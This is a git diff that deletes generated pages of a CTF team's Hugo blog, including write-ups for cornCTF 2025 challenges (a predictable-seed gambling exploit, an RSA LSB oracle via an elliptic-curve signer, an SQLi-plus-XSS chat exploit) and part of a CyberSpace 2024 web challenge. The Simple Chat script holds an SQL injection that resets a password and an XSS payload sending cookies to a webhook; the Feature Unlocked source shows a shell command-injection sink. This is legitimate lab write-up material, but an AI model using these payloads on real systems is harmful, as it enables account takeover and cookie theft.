- - - diff --git a/public/tags/zeptoide/index.xml b/public/tags/zeptoide/index.xml deleted file mode 100644 index aa05f136..00000000 --- a/public/tags/zeptoide/index.xml +++ /dev/null @@ -1,23 +0,0 @@ - - - - Zeptoide on ByteTheCookies - http://localhost:1313/tags/zeptoide/ - Recent content in Zeptoide on ByteTheCookies - Hugo -- gohugo.io - en - Mon, 25 Aug 2025 19:13:04 +0200 - - Solidity Jail 1 - http://localhost:1313/writeups/wwfctf2025/solidity-jail1/ - Mon, 25 Aug 2025 19:13:04 +0200 - - http://localhost:1313/writeups/wwfctf2025/solidity-jail1/ - Solidity Jail 1 Description: Bash Jail? Boring. PyJail? Too Common. -Introducing for the first time, Solidity Jail! Make a contract to read the flag! -Introduction Jail challenges are always a thrill. You’re thrown into a restricted environment with a single mission: escape and claim the flag. While bash, Python, and even NodeJS jails are familiar territory, running into one in Solidity is a rare treat. -In this challenge, we interacted with a remote server that executed Solidity function code we submitted. - - - - \ No newline at end of file diff --git a/public/tags/zeptoide/page/1/index.html b/public/tags/zeptoide/page/1/index.html deleted file mode 100644 index 1e778e87..00000000 --- a/public/tags/zeptoide/page/1/index.html +++ /dev/null @@ -1,10 +0,0 @@ - - - - http://localhost:1313/tags/zeptoide/ - - - - - - diff --git a/public/user.css b/public/user.css deleted file mode 100644 index 7f1095b9..00000000 --- a/public/user.css +++ /dev/null @@ -1,127 +0,0 @@ -// USER -@font-face { - font-family: "JetBrainsMonoNerd"; - src: url("/fonts/JetBrainsMonoNLNerdFont-Regular.ttf") format("truetype"); - font-weight: normal; - font-style: normal; -} - -h1, -h2, -h3, -h4, -h5, -h6 { - font-family: "JetBrainsMonoNerd", sans-serif; -} - -.badge { - background-color: #9e8c6c; - color: white; - padding: 5px 10px; - border-radius: 12px; - font-size: 0.8em; - font-weight: 200; - font-family: "JetBrainsMonoNerd", sans-serif; - display: inline-block; - margin-right: 5px; - margin-top: 5px; -} - -.date { - padding-top: 6px; - font-family: "JetBrainsMonoNerd", sans-serif; - font-size: 0.8em; -} - -.icon_contacts { - list-style: none; - margin: 0 10px; -} - -// * MEMBERS - -.members-list { - display: flex; - flex-wrap: wrap; -} - -.card-members { - display: flex; - width: calc(45% - 12px); - margin: 16px auto; - max-height: 24hv; - max-width: 56vh; - border-radius: 12px; - background-color: #9e8c6c00; - border: #292929 dashed 4px; -} - -@media (max-width: 1350px) { - .card-members { - width: 100%; - margin: 15px auto; - } - - .members-list { - flex-direction: column; - align-items: center; - } -} - -.content-container { - display: flex; - margin: 0, auto; - min-width: 60%; -} - -.div-img-members { - padding: 10px; - margin: 0px; -} - -.name-members { - margin: 14px 0 0 0; - display: inline-block; -} - -.tag-members { - display: inline-block; - margin: 0px; - padding: 0px; - font-weight: bold; - text-decoration: underline; -} - -.div-text { - width: 100%; - margin-right: auto; -} - -.div-img-members { - display: inline-block; - width: 20%; - height: auto; -} - -.tag-members:hover { - color: #39e6ec; - cursor: pointer; -} - -.tag-school { - display: inline-block; - margin: 0px; - padding: 4px; - padding-left: 0; - opacity: 0.7; -} - -.categories-members { - padding: 2px 8px; - font-size: 12px; - display: inline-block; - margin: 3px auto; - border-radius: 6px; - color: white; -} diff --git a/public/writeups/cornctf2025/aeronaut/index.html b/public/writeups/cornctf2025/aeronaut/index.html deleted file mode 100644 index 3f32e029..00000000 --- a/public/writeups/cornctf2025/aeronaut/index.html +++ /dev/null @@ -1,522 +0,0 @@ - - - - - - - - - - - aeronaut - ByteTheCookies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
-
- - -
Table of contents
- - - -
- - - -
- -
web
- - -
python
- - -
Insecure randomness
- - -
300 points
- - -
17 solves
- - -
Stecca
- - -
- -
-

- Last edit: Jul 8, 2025 -

-
- - -
- - - -
- - - - - -

Aeronaut

-

Description: Aeronaut is a gambling game in which you bet on a multiplier. The goal is to get 100.000.000$. Good luck!

- -

Introduction - - - - - - - - -

- -

The last round of the CyberCup2025 competition was very good, with a challenging CTF. The challenge is a gambling game in which you bet on a multiplier. The goal is to earn 100,000,000 dollars. The game is implemented in Python using WebSocket and uses insecure randomness to generate multipliers. This allows us to predict the next multiplier and exploit the game.

- -

Source - - - - - - - - -

- -
# filename: file.py
-def game_loop():
-    """Background game loop"""
-    round_number = 0
-    random.seed(int(time.time()))
-    mult_list = [generate_multiplier() for i in range(10000)]
-    while True:
-        # Start new round
-        gs.max_multiplier = mult_list[round_number % 10000]
-        round_number += 1
-        gs.current_multiplier = 1.0
-        gs.game_phase = 'betting'
-        gs.round_start_time = time.time()
-
-

The seed is technically predictable. Initially, I wasn’t sure it would work because the instance might have been activated for too long, which would have made brute forcing impossible. Fortunately, my colleague persuaded me to try it out and it worked very well, requiring only 12 hours of brute forcing in about 10 minutes.

- -

Solution - - - - - - - - -

- -

I created a simple and effective script that takes crash data and uses brute force to compare the seed with the crash streak. Then, I can predict the next crash and automatically place a bet.

-
# filename: exploit.py
-
-#!/usr/bin/env python3
-
-import asyncio
-import random
-import time
-import socketio
-import functools
-import concurrent.futures
-
-URL       = "http://localhost:5000"
-SIO_PATH  = "/socket.io"
-HOUSE     = 0.01
-OBS_N     = 10
-SEARCH_H  = 12 * 3600  # +- 12 ore
-EXEC      = concurrent.futures.ThreadPoolExecutor(max_workers=1)
-
-def _mult(rng, house_edge=HOUSE):
-    F = 1 - house_edge
-    return (1 / rng.uniform(0.01, 1.0)) * F
-
-def build_seq(seed, n=10_000):
-    rng = random.Random(seed)
-    return [_mult(rng) for _ in range(n)]
-
-def brute_seed_sync(obs, start, end):
-    for seed in range(start, end + 1):
-        seq = build_seq(seed)
-        for i in range(len(seq) - len(obs) + 1):
-            if all(abs(seq[i+j] - obs[j]) < 0.01 for j in range(len(obs))):
-                return seed, i
-    raise RuntimeError("Seed non trovato")
-
-async def main():
-    sio         = socketio.AsyncClient()
-    observed    = []
-    brute_fut   = None
-    seed        = offset = None
-    sequence    = None
-    idx         = 0
-    has_bet     = False
-    has_cashed  = False
-    balance = None
-
-    @sio.event
-    async def connect():
-        print(f"[+] connected – waiting {OBS_N} crash…")
-
-    @sio.on("cashout_response")
-    async def on_bet_response(data):
-        nonlocal balance
-        if data.get("success"):
-            balance = data.get("balance")
-            print(f"[+] Bet accepted. New balance: {balance}")
-        else:
-            print("[-] Bet failed.")
-
-    @sio.on("game_state")
-    async def on_state(d):
-        nonlocal brute_fut, seed, offset, sequence, idx, has_bet, has_cashed, balance
-        phase = d["phase"]
-
-        if phase == "betting":
-            if seed is not None and not has_bet:
-                if balance is None:
-                    balance = 10
-                if sequence is not None:
-                    print("[+] Current balance: ",balance)
-                    next_crash = sequence[(idx - 1) % 10_000]
-                    print(f"[+] Betting – predicted crash: {next_crash:.2f}")
-                    await sio.emit("place_bet", {"amount": int(balance)})
-                    has_bet = True
-
-        elif phase == "game":
-            if seed is not None and has_bet and not has_cashed:
-                next_crash = sequence[(idx - 1) % 10_000]
-                cashout_at = max(1.01, next_crash - 0.05)
-                current_multiplier = float(d.get("multiplier", 1.0))
-
-                if current_multiplier >= cashout_at:
-                    print(f"[+] Cashing out at {current_multiplier:.2f} "
-                          f"(before predicted crash {next_crash:.2f})")
-                    await sio.emit("cashout")
-                    has_cashed = True
-
-        elif phase == "ended":
-            crash = float(d["multiplier"])
-            observed.append(crash)
-            print(f"[+] crash #{len(observed)}: {crash:.2f}")
-
-            if brute_fut is None and len(observed) >= OBS_N:
-                now   = int(time.time())
-                start = now - SEARCH_H
-                print(f"[+] brute-force {start} → {now}… (in thread)")
-                loop = asyncio.get_running_loop()
-                brute_fut = loop.run_in_executor(
-                    EXEC,
-                    functools.partial(brute_seed_sync,
-                                      obs=observed[:OBS_N],
-                                      start=start,
-                                      end=now)
-                )
-
-            if brute_fut is not None and brute_fut.done() and seed is None:
-                seed, offset = brute_fut.result()
-                sequence = build_seq(seed)
-                idx = offset + len(observed)
-                print("\n[+]  seed:", seed)
-                print("[+]  start offset:", offset)
-                print("[+]  current round:", idx % 10_000, "\n")
-
-            if seed is not None:
-                next_crash = sequence[idx % 10_000]
-                print(f"[+]  Next expected crash: {next_crash:.2f}")
-                idx += 1
-            has_bet = False
-            has_cashed = False
-
-
-    @sio.on("error")
-    async def on_error(msg):
-        if "corn{" in msg:
-            print("FLAG: ", msg["message"])
-            exit(0)
-        print("⚠️  server error:", msg)
-
-    await sio.connect(URL, socketio_path=SIO_PATH, transports=["websocket"])
-    await sio.wait()
-
-if __name__ == "__main__":
-    asyncio.run(main())
-
-
-
$ flag: corn{1_d0n7_g4mbl3_i_a1w4y5_w1n}
-
-

Author: akiidjk

- -
-
- -
-
-
-
Copyright © 2025 by ByteTheCookies Team | v1.0.5
-
- - - diff --git a/public/writeups/cornctf2025/ecrsa/index.html b/public/writeups/cornctf2025/ecrsa/index.html deleted file mode 100644 index 3b8311bc..00000000 --- a/public/writeups/cornctf2025/ecrsa/index.html +++ /dev/null @@ -1,718 +0,0 @@ - - - - - - - - - - - ECRSA - ByteTheCookies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
-
- - -
Table of contents
- - - -
- -
crypto
- - -
496 points
- - -
4 solves
- - -
Just_Riccio
- - -
- -
-

- Last edit: Jun 23, 2025 -

-
- - -
- - - -
- - - - - - -

ECRSA - - - - - - - - -

- -

RSA or Elliptic Curves? Why not both?

- -

Introduction - - - - - - - - -

- -

ECRSA was a crypto CTF from cornCTF 2025.

-
#!/usr/bin/env python3
-from secret_params import curve_p, a, b, order, secret_point_x, secret_point_y
-import os
-
-FLAG = os.getenv("FLAG", "corn{__redacted_redacted_redacted__redacted_redacted_redacted__}").encode()
-
-assert FLAG.startswith(b"corn{") and FLAG.endswith(b"}")
-assert len(FLAG) == 64
-
-def sign(m, x):
-    if m == 0 or m == 1 or m == n-1:
-        print("No weak messages allowed here")
-        return None
-    try:
-        user_point = E.lift_x(x)
-    except ValueError:
-        print(f"Invalid point: {x} does not describe any point on the curve")
-        return None
-    sig = pow(m, d, n)
-    sig = sig * user_point + secret_point
-    return sig.xy()[0], sig.xy()[1]
-
-def verify(sig, m, x):
-    try:
-        user_point = E.lift_x(x)
-    except ValueError:
-        print(f"Invalid point: {x} does not describe any point on the curve")
-        return False
-    sig_point = sig - secret_point
-    # don't want to make you wait too long
-    # c = sig_point.log(user_point)
-    c = 0x69
-    c = pow(c, e, n)
-    return c == m
-
-assert curve_p.bit_length() == 513
-assert order.bit_length() == 513
-
-K = GF(curve_p)
-a = K(a)
-b = K(b)
-K = GF(curve_p)
-E = EllipticCurve(K, (a, b))
-E.set_order(order)
-secret_point = E(secret_point_x, secret_point_y)
-
-flag = int.from_bytes(FLAG, byteorder='big')
-
-p = random_prime(2<<255, lbound=2<<254)
-q = random_prime(2<<255, lbound=2<<254)
-n = p*q
-
-while flag >= n or n>curve_p or n>order:
-    p = random_prime(2<<255, lbound=2<<254)
-    q = random_prime(2<<255, lbound=2<<254)
-    n = p*q
-
-e = 0x10001
-d = pow(e, -1, (p-1)*(q-1))
-
-print("Welcome to my custom signing and verification system!")
-print("Here are my public parameters:")
-print(f"e: {e}")
-print(f"n: {n}")
-
-print(f"Leak: {pow(flag, e, n)}")
-
-while True:
-    print("1. Sign\n2. Verify\n3. Exit")
-    choice = int(input())
-    if choice == 1:
-        m = int(input("Enter message: "))
-        x = Integer(input("Enter x-coordinate of your point: "))
-        sig = sign(m, x)
-        print(f"Signature: {sig}")
-    elif choice == 2:
-        try:
-            sig_x = Integer(input("Enter x-coordinate of signature: "))
-            sig_y = Integer(input("Enter y-coordinate of signature: "))
-            sig = E(sig_x, sig_y)
-        except TypeError:
-            print("Invalid signature")
-            continue
-        m = int(input("Enter message: "))
-        x = K(Integer(input("Enter x-coordinate of your point: ")))
-        if verify(sig, m, x):
-            print("Valid signature")
-        else:
-            print("Invalid signature")
-    elif choice == 3:
-        break
-    else:
-        print("Invalid choice")
-
-

The flag is simply encrypted with RSA, while the service provides a modified ECDSA signing oracle.

- -

Solution - - - - - - - - -

- -

There are 3 steps to the solution:

-
    -
  1. Recover the secret_point
  2. -
  3. Figure out the curve parameters
  4. -
  5. Obtain the flag
  6. -
- -

Recovering secret_point - - - - - - - - -

- -

This step is really easy as the check in sign for the value of m is done before the modular reduction, therefore sending a multiple of the modulus will pass the check but pow(m, d, n) will result in a 0, meaning sign will give back secret_point

- -

Figuring out the curve parameters - - - - - - - - -

- -

With secret_point now ours and being able to provide sign with any user_point we can query the oracle to obtain a few points on the curve, with said points we can recover the parameters:

-
def solve_curve_parameters(r):
-    points = set()
-
-    for x_in in trange(1, 100):
-        try:
-            point = sign(r, n+1, x_in)
-            points.add(point)
-            if len(points) >= 10: # arbitrary
-                break
-        except:
-            continue
-
-		points = list(points)
-    dets = []
-    for i in range(len(points) - 3):
-        (x1, y1), (x2, y2), (x3, y3) = points[i], points[i+1], points[i+2]
-
-		    # Y = y^2 - x^3 -> Y = ax + b (mod p).
-        Y1 = y1**2 - x1**3
-        Y2 = y2**2 - x2**3
-        Y3 = y3**2 - x3**3
-
-				# w := Y1 - Y2 = a(x1 - x2) (mod p)
-				# z := Y2 - Y3 = a(x2 - x3) (mod p)
-				# So w(x2 - x3) and z(x1 - x2) differ by a multiple of p
-        I = (Y1 - Y2) * (x2 - x3) - (Y2 - Y3) * (x1 - x2)
-
-        if I != 0:
-            dets.append(I)
-
-    p = gcd(dets)
-    dx = x1 - x2
-    a = (Y1 - Y2) * pow(dx, -1, p) % p
-
-    # From Y1 = a*x1 + b (mod p), we solve for b.
-    b = (Y1 - a * x1) % p
-
-    # Check if (y3^2) % p == (x3^3 + a*x3 + b) % p
-    lhs = y3**2 % p
-    rhs = (x3**3 + a * x3 + b) % p
-
-    if lhs == rhs:
-        return p, a, b
-
-    return None, None, None
-
- -

Getting the flag - - - - - - - - -

- -

The idea is to use an LSB-Oracle:

-
-

$c \equiv m^e \pmod n$
-$(2^ec)^d \equiv 2m \pmod n$
-the previous value is even if $m \leq n/2$, odd otherwise (because $n$ is odd)
-so we can construct bit by bit the value of $m$ by multiplying $c$ by $2^e$ each time

-
-

In the context of the challenge we need a way to distinguish odd and even values of pow(m, d, n). This can be achieved with a point of order $2$ on the curve, since when pow(m, d, n) is even, multiplying it with our given point $P$ will give the identity, which added to secret_point will give this one back, otherwise we’ll get $P$ plus secret_point.

-
def lsb_oracle(r, P):
-    l, u = 0, n
-
-    c = enc_flag
-    e2 = pow(2, e, n)
-    for _ in trange(n.bit_length()):
-        c *= e2
-        Q = E(sign(r, c % n, P.xy()[0])) - sp # sp = secret_point
-        if Q == E.zero():
-            u = (l + u) >> 1
-        else:
-            l = (l + u) >> 1
-    return (l + u) >> 1
-
- -

Full solve script - - - - - - - - -

- -
import os
-os.environ['TERM'] = 'linux'
-
-from pwn import *
-from tqdm import trange
-
-# Signing utility
-def sign(r, m, x):
-    r.recvuntil(b't\n')
-    r.sendline(b'1')
-    r.recvuntil(b': ')
-    r.sendline(str(m).encode())
-    r.recvuntil(b': ')
-    r.sendline(str(x).encode())
-
-    r.recvuntil(b': ')
-    data = r.recvline(False).decode()[1:-1].split(', ')
-    return int(data[0]), int(data[1])
-
-
-def solve_curve_parameters(r):
-    points = set()
-
-    for x_in in trange(1, 100):
-        try:
-            point = sign(r, n+1, x_in)
-            points.add(point)
-            if len(points) >= 10: # arbitrary
-                break
-        except:
-            continue
-
-    points = list(points)
-    dets = []
-    for i in range(len(points) - 3):
-        (x1, y1), (x2, y2), (x3, y3) = points[i], points[i+1], points[i+2]
-
-		# Y = y^2 - x^3 -> Y = ax + b (mod p).
-        Y1 = y1**2 - x1**3
-        Y2 = y2**2 - x2**3
-        Y3 = y3**2 - x3**3
-
-		# w := Y1 - Y2 = a(x1 - x2) (mod p)
-		# z := Y2 - Y3 = a(x2 - x3) (mod p)
-		# So w(x2 - x3) and z(x1 - x2) differ by a multiple of p
-        I = (Y1 - Y2) * (x2 - x3) - (Y2 - Y3) * (x1 - x2)
-
-        if I != 0:
-            dets.append(I)
-
-    p = gcd(dets)
-    dx = x1 - x2
-    a = (Y1 - Y2) * pow(dx, -1, p) % p
-
-    # From Y1 = a*x1 + b (mod p), we solve for b.
-    b = (Y1 - a * x1) % p
-
-    # Check if (y3^2) % p == (x3^3 + a*x3 + b) % p
-    lhs = y3**2 % p
-    rhs = (x3**3 + a * x3 + b) % p
-
-    if lhs == rhs:
-        return p, a, b
-
-    return None, None, None
-
-def lsb_oracle(r, P):
-    l, u = 0, n
-
-    c = enc_flag
-    e2 = pow(2, e, n)
-    for _ in trange(n.bit_length()):
-        c *= e2
-        Q = E(sign(r, c % n, P.xy()[0])) - sp
-        if Q == E.zero():
-            u = (l + u) >> 1
-        else:
-            l = (l + u) >> 1
-    return (l + u) >> 1
-
-r = remote('ecrsa.challs.cornc.tf', 1337, ssl=True) if args.REMOTE else process('./ecrsa.sage')
-
-e = 65537
-r.recvuntil(b'n: ')
-n = int(r.recvline(False).decode())
-r.recvuntil(b'k: ')
-enc_flag = int(r.recvline(False).decode())
-
-p, a, b = solve_curve_parameters(r)
-E = EllipticCurve(GF(p), [a, b])
-# order = E.order()
-# Cached for speed
-order = 16069075899419272706313306230384148392684766596987923274252840802156807638348274231565457533546984784193487763139164096443059279726687808489053779972143886
-E.set_order(order)
-q = order // 2
-
-# Get point of order 2
-while (P := E.random_point()).order() != order: continue
-P *= q
-
-assert P.order() == 2
-
-# Get secret point
-sp = E(sign(r, 2*n, 1))
-
-m = lsb_oracle(r, P)
-# Last byte isn't always right, just ignore and force the }
-print('flag:', int(m).to_bytes(64)[:-1].decode() + '}')
-
-
-r.close()
-
-
flag: corn{br34k1ng_dl0g_15_h4rd_bu7_m0d_2_m4k35_3v3ry7h1ng_funn13r!!}
-
-

Author: vympel

- -
-
- -
-
-
-
Copyright © 2025 by ByteTheCookies Team | v1.0.5
-
- - - diff --git a/public/writeups/cornctf2025/index.html b/public/writeups/cornctf2025/index.html deleted file mode 100644 index 5d7f8695..00000000 --- a/public/writeups/cornctf2025/index.html +++ /dev/null @@ -1,400 +0,0 @@ - - - - - - - - - - - CornCTF 2025 - ByteTheCookies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
-
- - -
Table of contents
- - - -
- - - -
- -
CTF
- - -
CyberCup2025
- - -
Web
- - -
Crypto
- - -
Pwn
- - -
Reverse Engineering
- - -
Misc
- - -
Pwnlentoni
- - -
- -
-

- Last edit: Jun 23, 2025 -

-
- - -
- - - - -
- -
-
-
-
Copyright © 2025 by ByteTheCookies Team | v1.0.5
-
- - - diff --git a/public/writeups/cornctf2025/simple-chat/index.html b/public/writeups/cornctf2025/simple-chat/index.html deleted file mode 100644 index 6fc00178..00000000 --- a/public/writeups/cornctf2025/simple-chat/index.html +++ /dev/null @@ -1,500 +0,0 @@ - - - - - - - - - - - Simple Chat - ByteTheCookies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
-
- - -
Table of contents
- - - -
- - - -
- -
web
- - -
python
- - -
SQLi + XSS
- - -
280 points
- - -
22 solves
- - -
Val
- - -
- -
-

- Last edit: Jul 8, 2025 -

-
- - -
- - - -
- - - - - -

Simple-Chat

-

Description: Simple web application to chat with your friends! Sometimes it does funny things and it’s ok like that

- -

Introduction - - - - - - - - -

- -

Okay, this is a really nice challenge. This is a pretty second CTF web challenge. It’s a simple XSS with a twist.

- -

Source - - - - - - - - -

- -

Let’s look at two parts of the FUNDAMENTAL code

-
// filename: app.js
-
-app.post('/api/v1/insertChat', async (req, res) => {
-  const sender = req.body.sender;
-  const receiver = req.body.receiver;
-  var message = req.body.message;
-
-  if (!FRIENDS.includes(sender) && sender !== 'admin' && sender !== 'kekw') {
-    res.json({ 'status': "you can't write messages on behalf of other people." })
-    return
-  }
-
-  if (!FRIENDS.includes(receiver) && receiver !== 'admin' && receiver !== 'kekw') {
-    res.json({ 'status': "you can't write to nobody" })
-    return;
-  }
-
-  //no XSS
-  message = message.replaceAll('<', '&lt;');
-  message = message.replaceAll('>', '&gt;');
-
-  const result = await db.insertChat(sender, receiver, message);
-  if (result != 0) {
-    res.json({ 'status': "Couldn't insert the chat." });
-    return;
-  }
-  const response = { 'status': 'Success' };
-  res.json(response);
-})
-
-
-

In the above script, we see that several checks are made for the sender and receiver when messages are inserted into chats. Most importantly, we see that the characters < and > are replaced with &lt; and &gt;, respectively, so that we cannot insert XSS directly.

-
// filename: db.js
-
-async insertChat(sender, receiver, message) {
-  try {
-    const query = `INSERT INTO chat(sender,receiver,message) VALUES ('${sender}','${receiver}','${message}');`;
-    await this.client.query(query);
-  } catch (e) {
-    console.log(`Error: ${e}`)
-    return 1;
-  }
-  return 0;
-}
-
-
-

Upon analyzing the DB calls, we see that a direct query insert is made. Therefore, we can exploit an SQLi to bypass the replace check. There are also SQLi’s in every db query, so we can do whatever we want, like logging in as an admin, but that wasn’t really necessary.

- -

Solution - - - - - - - - -

- -
# filename: exploit.py
-
-#!/usr/bin/python3
-import random
-import string
-
-import requests
-
-BASE_URL = "http://localhost"
-# BASE_URL = "https://simple-chat-b6eb1bef.challs.cornc.tf"
-URL_HOOK = "https://webhook.site/1911a3b8-9c48-468c-a2aa-05e81cb1df93"
-
-s = requests.Session()
-
-def string_generator(length):
-    return ''.join(random.choice(string.ascii_letters + string.digits) for _ in range(length))
-
-def getMessages(friend):
-    r = s.get(BASE_URL + "/api/v1/fetchMessages", params={"friend[]": friend})
-    if r.status_code != 200:
-        print("Error getting messages")
-        return None
-    return r.json()
-
-def getProfile():
-    r = s.get(BASE_URL + "/api/v1/profile")
-    if r.status_code != 200:
-        print("Error getting profile")
-        return None
-    return r.json()
-
-def login(username,password):
-    r = s.post(BASE_URL + "/api/v1/login", json={"username": username, "password": password},headers={"Origin":"http://localhost"})
-    if r.status_code != 200:
-        print("Error login")
-        return None
-    return r.json()
-
-def insertChat(sender,receiver,message):
-    r = s.post(BASE_URL + "/api/v1/insertChat", json={"sender": sender, "receiver": receiver, "message": message})
-    if r.status_code != 200:
-        print("Error inserting chat")
-        return None
-    return r.json()
-
-def build_payload_xss(sender, target_user, xss_url):
-    js_payload = f"""img src="a" onerror="fetch('{URL_HOOK}?q='+document.cookie)");"""
-    sql_payload = "chr(60)||'" + js_payload.replace("'", "''") + "'||chr(62)"
-    injected_query = f"""aaa'); INSERT INTO chat(sender, receiver, message) VALUES ('{target_user}','admin',{sql_payload});-- """
-    return injected_query
-
-def ping():
-    r = s.get(BASE_URL + "/ping",params={"friend":"Val"})
-    if r.status_code != 200:
-        print("Error pinging")
-        return None
-    return r.json()
-
-def main():
-    login("kekw", "kekw")
-    print(s.cookies["connect.sid"])
-    print(getMessages("Val"))
-    print(getProfile())
-    print(insertChat("kekw", "Val", "aaa'); UPDATE users SET password='cookie' WHERE username='Val'; --"))
-    print(insertChat("kekw", "Val", build_payload_xss("kekw", "Val", URL_HOOK)))
-    print(ping())
-
-    # Wait for the XSS to trigger and send the cookie to the webhook
-
-
-if __name__ == "__main__":
-	main()
-
-
-# goodluck by @akiidjk
-
-
$ flag: corn{d0ubl3_uns4n1t1z4tion_d4mnnnn_f45a85f9d6346d8b}
-
-

Author: akiidjk

- -
-
- -
-
-
-
Copyright © 2025 by ByteTheCookies Team | v1.0.5
-
- - - diff --git a/public/writeups/cyberspace2024/feature_unlocked/index.html b/public/writeups/cyberspace2024/feature_unlocked/index.html deleted file mode 100644 index 99759c75..00000000 --- a/public/writeups/cyberspace2024/feature_unlocked/index.html +++ /dev/null @@ -1,646 +0,0 @@ - - - - - - - - - - - Feature Unlocked - ByteTheCookies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
-
- - -
Table of contents
- - - -
- - - -
- -
Web
- - -
Python
- - -
SSRF
- - -
50 points
- - -
184 solves
- - -
cryptocat
- - -
- -
-

- Last edit: Sep 2, 2024 -

-
- - -
- - - -
- - - - - -

Feature unlocked

-

Description: The world’s coolest app has a brand new feature! Too bad it’s not released until after the CTF..

-

Link: https://feature-unlocked-web-challs.csc.tf/

- -

Introduction - - - - - - - - -

- -

Feature unlocked is part of the first wave of the web and is one of the first challanges I solved. Made by cryptocat, who we salute, it is a fairly simple challange if you read the code correctly.

- -

Source - - - - - - - - -

- -
# filename: main.py
-
-import subprocess
-import base64
-import json
-import time
-import requests
-import os
-from flask import Flask, request, render_template, make_response, redirect, url_for
-from Crypto.Hash import SHA256
-from Crypto.PublicKey import ECC
-from Crypto.Signature import DSS
-from itsdangerous import URLSafeTimedSerializer
-
-app = Flask(__name__)
-app.secret_key = os.urandom(16)
-serializer = URLSafeTimedSerializer(app.secret_key)
-
-DEFAULT_VALIDATION_SERVER = 'http://127.0.0.1:1338'
-NEW_FEATURE_RELEASE = int(time.time()) + 7 * 24 * 60 * 60
-DEFAULT_PREFERENCES = base64.b64encode(json.dumps({
-    'theme': 'light',
-    'language': 'en'
-}).encode()).decode()
-
-
-def get_preferences():
-    preferences = request.cookies.get('preferences')
-    if not preferences:
-        response = make_response(render_template(
-            'index.html', new_feature=False))
-        response.set_cookie('preferences', DEFAULT_PREFERENCES)
-        return json.loads(base64.b64decode(DEFAULT_PREFERENCES)), response
-    return json.loads(base64.b64decode(preferences)), None
-
-
-@app.route('/')
-def index():
-    _, response = get_preferences()
-    return response if response else render_template('index.html', new_feature=False)
-
-
-@app.route('/release')
-def release():
-    token = request.cookies.get('access_token')
-    if token:
-        try:
-            data = serializer.loads(token)
-            if data == 'access_granted':
-                return redirect(url_for('feature'))
-        except Exception as e:
-            print(f"Token validation error: {e}")
-
-    validation_server = DEFAULT_VALIDATION_SERVER
-    if request.args.get('debug') == 'true':
-        preferences, _ = get_preferences()
-        validation_server = preferences.get(
-            'validation_server', DEFAULT_VALIDATION_SERVER)
-
-    if validate_server(validation_server):
-        response = make_response(render_template(
-            'release.html', feature_unlocked=True))
-        token = serializer.dumps('access_granted')
-        response.set_cookie('access_token', token, httponly=True, secure=True)
-        return response
-
-    return render_template('release.html', feature_unlocked=False, release_timestamp=NEW_FEATURE_RELEASE)
-
-
-@app.route('/feature', methods=['GET', 'POST'])
-def feature():
-    token = request.cookies.get('access_token')
-    if not token:
-        return redirect(url_for('index'))
-
-    try:
-        data = serializer.loads(token)
-        if data != 'access_granted':
-            return redirect(url_for('index'))
-
-        if request.method == 'POST':
-            to_process = request.form.get('text')
-            try:
-                word_count = f"echo {to_process} | wc -w"
-                output = subprocess.check_output(
-                    word_count, shell=True, text=True)
-            except subprocess.CalledProcessError as e:
-                output = f"Error: {e}"
-            return render_template('feature.html', output=output)
-
-        return render_template('feature.html')
-    except Exception as e:
-        print(f"Error: {e}")
-        return redirect(url_for('index'))
-
-
-def get_pubkey(validation_server):
-    try:
-        response = requests.get(f"{validation_server}/pubkey")
-        response.raise_for_status()
-        return ECC.import_key(response.text)
-    except requests.RequestException as e:
-        raise Exception(
-            f"Error connecting to validation server for public key: {e}")
-
-
-def validate_access(validation_server):
-    pubkey = get_pubkey(validation_server)
-    try:
-        response = requests.get(validation_server)
-        response.raise_for_status()
-        data = response.json()
-        date = data['date'].encode('utf-8')
-        signature = bytes.fromhex(data['signature'])
-        verifier = DSS.new(pubkey, 'fips-186-3')
-        verifier.verify(SHA256.new(date), signature)
-        return int(date)
-    except requests.RequestException as e:
-        raise Exception(f"Error validating access: {e}")
-
-
-def validate_server(validation_server):
-    try:
-        date = validate_access(validation_server)
-        return date >= NEW_FEATURE_RELEASE
-    except Exception as e:
-        print(f"Error: {e}")
-    return False
-
-
-if __name__ == '__main__':
-    app.run(host='0.0.0.0', port=1337)
-
-
-
-
# filename: validation.py
-
-from flask import Flask, jsonify
-import time
-from Crypto.Hash import SHA256
-from Crypto.PublicKey import ECC
-from Crypto.Signature import DSS
-
-app = Flask(__name__)
-
-key = ECC.generate(curve='p256')
-pubkey = key.public_key().export_key(format='PEM')
-
-
-@app.route('/pubkey', methods=['GET'])
-def get_pubkey():
-    return pubkey, 200, {'Content-Type': 'text/plain; charset=utf-8'}
-
-
-@app.route('/', methods=['GET'])
-def index():
-    date = str(int(time.time()))
-    h = SHA256.new(date.encode('utf-8'))
-    signature = DSS.new(key, 'fips-186-3').sign(h)
-
-    return jsonify({
-        'date': date,
-        'signature': signature.hex()
-    })
-
-
-if __name__ == '__main__':
-    app.run(host='127.0.0.1', port=1338)
-
-
-

The application is divided into two parts: the main one, where we find the web application, and a server used to validate the access token with the access_garantied parameter for the release of the feature.

-

One thing that immediately stands out is a part of the main code where a debug mode is given.

-
if request.args.get('debug') == 'true':
-  preferences, _ = get_preferences()
-  validation_server = preferences.get(
-  'validation_server', DEFAULT_VALIDATION_SERVER)
-
-

